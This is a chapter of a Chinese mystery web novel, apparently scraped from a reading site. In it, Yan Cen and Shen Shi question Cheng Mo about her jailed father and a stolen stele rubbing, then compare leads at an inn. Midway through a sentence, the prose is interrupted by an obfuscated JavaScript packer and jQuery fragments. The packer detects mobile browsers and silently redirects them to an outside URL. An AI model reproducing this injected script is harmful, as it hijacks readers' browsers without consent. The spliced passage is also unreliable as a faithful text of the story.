默认冷灰
24号文字
方正启体

5. 拓片的诅咒(三)

作者:一问渠本书字数:K更新时间:
    找到成墨家的时候,附近人家都升起炊烟。


    晏涔踮脚扒着墙头,探头往人家后院里看。


    院中的成墨正戴着襻膊劈柴,晏涔扬声打招呼:“墨娘!”


    成墨手一抖,斧头险些砍偏了。她近乎惊悚地环视了一圈,才发现墙头上的晏涔。


    “你……你怎么找过来的!”


    “我叫晏燎云。”她自来熟地晃了晃手里拎的药包,笑嘻嘻道,“你不是要买治风寒的药吗?”


    成墨怔了怔,最终放下了斧头,开门将二人让进来。


    成墨的阿娘眼睛不好,坐在灶前添柴,看样子母女二人正准备烧水做饭。打了个招呼,成墨就将人引进堂屋。


    堂屋里陈设简单。成墨翻找了一会儿,从柜子角落里翻出些碎茶叶,用粗瓷茶壶冲了,给两人各倒了一碗。


    晏涔明显想搭话,打听所谓诅咒杀人的前因后果。


    但成墨只是含糊地说她也不太清楚,好像是丢了个碑刻拓片,其他的不肯透露。


    她起身到屋内角落,给烧水壶添水,行迹略显仓促,像是在刻意回避什么。


    晏涔看着她的背影,忽然道:“我师父也被冤枉了。他帮上官找东西,没找全,上官就说是他私藏了。”


    成墨的动作慢了下来,“他现在也在牢里吗?”


    “嗯。”晏涔点头。


    “旁人也相信你师父是被冤枉的吗?”


    “很多人都不信。”晏涔眉眼明亮,神情平静,“但我跟师兄信他。”


    成墨下意识看向一直没怎么开口的沈释。


    没等晏涔介绍,沈释已经自然而然地点了头,“是。”


    成墨沉默片刻,眉目间有些忧虑之色,“这样啊……你师父的上官应该很厉害吧……你们有没有想过,怎么才能帮师父洗刷冤屈?”


    晏涔露出一个有些锋利的笑容,“厉害啊。但也只能想到一个办法就试一个办法,总能试出来一个成功的。”


    成墨若有所悟,但也有些茫然。


    沈释看了晏涔一眼。


    所以劫法场就是她想到的办法?


    他收回目光,忽然问道:“你爹是成如一?”


    成墨立刻抬头,眼神警惕起来:“你是谁?你认识我阿爹?”


    “你认识樊思吗?”沈释问。


    成墨的眉头一下子拧紧,脸上浮现出明显的厌恶。


    烧水壶开了,水沉闷的咕噜着,壶盖被热气冲开跳动,发出扑腾声。


    沈释接着道:“你爹出事前,曾让你和你娘去你舅舅家避一避风头,这是真的吗?”


    晏涔猛地转头看向沈释。


    成墨的脸色终于变了,眼中显露出惊惧的情绪:“樊叔……是樊思跟你说的?”


    沈释意味深长地抬眼。


    今日酒肆中,听完成如一的事后,他曾问樊思:“你觉得是成大哥做的吗?”


    樊思神情痛苦,纠结良久,才说:“我也不想信……可成大哥下狱前,确实给家里留过信,让她们母女俩去隔壁州投奔舅舅。”


    此事若是真的,那成如一恐怕就不是清白的了。


    成墨霍然起身,去将烧水壶拎了下来,将茶壶添满。晏涔看到她的手在轻微发颤。


    添完水,成墨竭力克制着开了口:“我不知道樊思为什么要这么说。可若是有人拿这件事当作我阿爹杀人的动机。”


    她抬起头,眼圈泛红,但很坚定地道。


    “那他一定是在骗你。”


    从成墨家出来时,天际残余的最后一抹光亮也被抹去。


    临走前,成墨拿了碎银想给晏涔买药钱,但被晏涔拒绝了。成墨阿娘想留他们吃晚饭,沈释也谢过了好意,称还有事,带着晏涔告辞。


    晏涔忍耐度一般,刚走出成墨家那条街,她便憋不住了,急切地问:“你怎么会认识成墨的爹?还有,那个樊思是谁?”


    沈释慢条斯理道:“怎么?这么着急。”


    “你现在的秘密也太多了吧。”晏涔不满地小声嘀咕,随即又扬声道,“你瞒着我还好意思说我急?快说。”


    沈释脚步停住,在薄暮朦胧中,他回过身来,冷峻但克制的目光落在晏涔身上。


    “你不是也有秘密吗?”


    晏涔一噎。


    ……她来找成墨,确实不是单纯送药。


    其实一开始确实是准备送个药就走,但是白日里她打听成家住处时,还听到了几句闲话。


    “成墨那姑娘啊?她爹是州府司工参军啊。”


    “小丫头莫要去找她了,她爹偷了官府的东西,还杀了人哩!也不知道是偷了什么要紧东西……”


    当时她愣了一下:“那当初修筑通州道,可是成参军负责的?”


    “是啊。”老伯叹了口气,“当时我们还敬他是不愧是边境军出身的真爷们哩!谁想到竟是如此祸害……”


    成参军负责了通州道的修筑,那他一定见过自己的师父云山道长吧……晏涔若有所思。


    当时到底是怎么把魏令那十三块石头之一给挖出来的?或许最初的真相,就在此地。


    得知这条线索后,晏涔便决定留下来探查一二。


    她是没跟沈释说,可沈释不也没跟她说这五年他究竟去哪儿了吗?


    晏涔不由得有些委屈。


    时隔五年重逢,师兄变了不少。


    以前,大师兄从不用这种态度跟她说话。


    师兄对她虽有管束,但纵容也多。师父还感叹过,小释很有师兄的样子,自己性情再清冷,也少对师妹有疾言厉色的时候。


    现在么……他倒是也没厉色,但就是觉得比以前凶了许多。


    晏涔越想越气,沈释到头来还审上她了?


    这么想着,说话底气又足了:“云门十三品是修路的时候挖出来的,司工参军负责修路,我听到司工的消息不该来问吗?再说,师父被人冤陷私藏碑刻的关头,通州州衙偏偏也丢了碑刻拓片。世上哪来这么巧的事?”


    话音落下,晏涔盯沈释的反应。她有理有据,沈释能有什么可指摘的?


    薄暮降临,华灯亮起。沈释被街边店家的灯笼照亮半边身子。他眉弓鼻梁都高,在光影勾勒下,方才过于冷的那部分从善如流地消融在暖黄烛火中。


    沈释静静凝望着她,半晌抬起手,在她后脑按了一下,“成樊二人是我旧友。今日我去见樊思时,听他说了成如一的事。”


    晏涔绷着脸,默默想:边境军出身的旧友?


    晏涔一偏脑袋,躲开了沈释的手,打赢胜仗的狼崽似的,气势汹汹往前走,意图把沈释甩在身后。


    旧友……五年不见,大师兄倒是多了不少她不知道的“旧友”。


    回到客栈。


    天字号客房内,众人围坐桌前,每人面前放了一盘瓜子果脯。


    每组按顺序汇报今天收集到的情报。


    不同途径收集到的线索交叉印证,基本拼凑出了一个完整的故事。和樊思说的差不多,司工参军成如一为偷盗云门十三品的拓片,连杀三人,被知州捉拿入狱。


    而成如一的女儿成墨则认为父亲是冤枉的,是抓了成如一的胡知州栽赃陷害。


    沈释听完,环视一周:“你们怎么看?”


    成墨与樊思的说法相反。


    是谁在说谎?


    豆阿馒咬着果脯摇摇头:“我觉得成大哥不是这种人。”


    花卷儿在外


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201841|197217||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面跑了一天,累得够呛,不像先前那样跳脱了:“我不认识成如一,单这么听下来,咱们的情报更接近樊思所言。”


    沈释把装满瓜子仁的小碟推到晏涔跟前,转首看向阿粥。


    阿粥叹了口气:“我易容进去搜查了成兄弟在州衙的值房。那里估计是被搜过了,没有什么有用的线索,屋内也没找到复刻库房钥匙的器具,只凭这些,无法断定成兄弟到底是不是真凶。”


    烛台环绕屋内四角,照得亮堂,晏涔跟瓜子仁小山相了片刻面,侧首望向沈释。


    看来沈释是见过樊思后,就让阿粥大哥去查实了州衙中的情况。


    “你不相信成墨说的话?”晏涔问。


    “眼下还不能断言。”沈释并没有否认。


    晏涔睁大了眼睛,“但这件事明摆着跟师父的案子有关系,师父是被冤枉的,那成如一……”


    “那成如一也不一定就是冤枉的。”沈释平静回视她,“师父也同样。没拿到确切的证据之前,我们不能预设师父就必然无罪。”


    晏涔:?


    晏涔:“沈释你倒反天罡!你竟然这么说师父,我就知道你把我劫出京城没安好心……”


    沈释不知道晏涔怎么有脸说他倒反天罡的。


    “有人小时候玩火把师父房子给烧了,把师父气得给她取字‘燎云’,也不知道是谁。”沈释剑眉微挑,“反正不是我。”


    晏涔:“……”


    晏涔有心跟沈释打一架。


    她就说师兄变了!


    阿粥忙在中间和稀泥,“姑娘也是救人心切,公子你少说两句……不过晏姑娘,公子说的其实也没错,凡事还是要讲证据嘛……咱们明天怎么说,去找事主问问?”


    沈释沉吟片刻,给属下们安排了新任务。


    沈释和阿粥想办法入狱见一见成如一,晏涔去找成墨,弄清楚她白天所说的“官官相护”是怎么一回事。


    既然成墨怀疑胡知州,那胡知州“护”的官又是谁呢?


    其他人分头去寻访修筑通州道时的厢军、工匠、民夫,询问云门十三品被挖出时的具体情形。


    ·


    成墨莫名其妙地看着晏涔。


    成如一下狱后,成家门庭冷清,邻里都绕着她家走,更不用说有客人登门造访。


    ……她实在想不通这位晏公子怎么又来了。


    晏涔倒是不客气,笑嘻嘻地顺手捡起成墨放在一旁的荠菜,一把将嫩绿叶拢在掌心,指甲一掐就把根须掐净。


    她摇晃着手里这把荠菜,弯腰笑望向成墨,“这个时节的春菜最鲜嫩了,我嘴刁,就爱吃一口自家地里长的,你就让我蹭顿饭呗?”


    后院满是清苦药气,成墨蹲在灶前,煎着晏涔昨日送来的药。晏涔的杏仁眼明亮得有些利,以一种无比坦荡自然的姿态,扫去了她的尴尬无措。


    药炉热气蒸腾,熏得成墨有些眼眶发酸。


    成墨看着她利索的动作,“你……还挺会干活的。我还以为你这样锦衣玉食出身的小少爷,应当……”


    “应当什么都不会?”


    成墨也有些不好意思,噗嗤一声笑了。


    晏涔挑了下眉。其实她也只会这些,真论起烧火做饭,只会到烧火这一步,做饭水平和沈释和善微笑的水平相差无几。


    在道观的时候,都是大家轮流做饭。年纪小的晚辈也要参与。而她做的饭味道实在太过惊天动地,把师兄吃得受不了了,所以一般是师兄做大头的部分,撵她在一旁打下手。


    正想着,院门外传来脚步声,隔壁小黄狗闻声而汪汪。


    晏涔抬头一看,沈释到了。


    他今日入狱探望成如一,会帮成墨把煎好的药带进去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)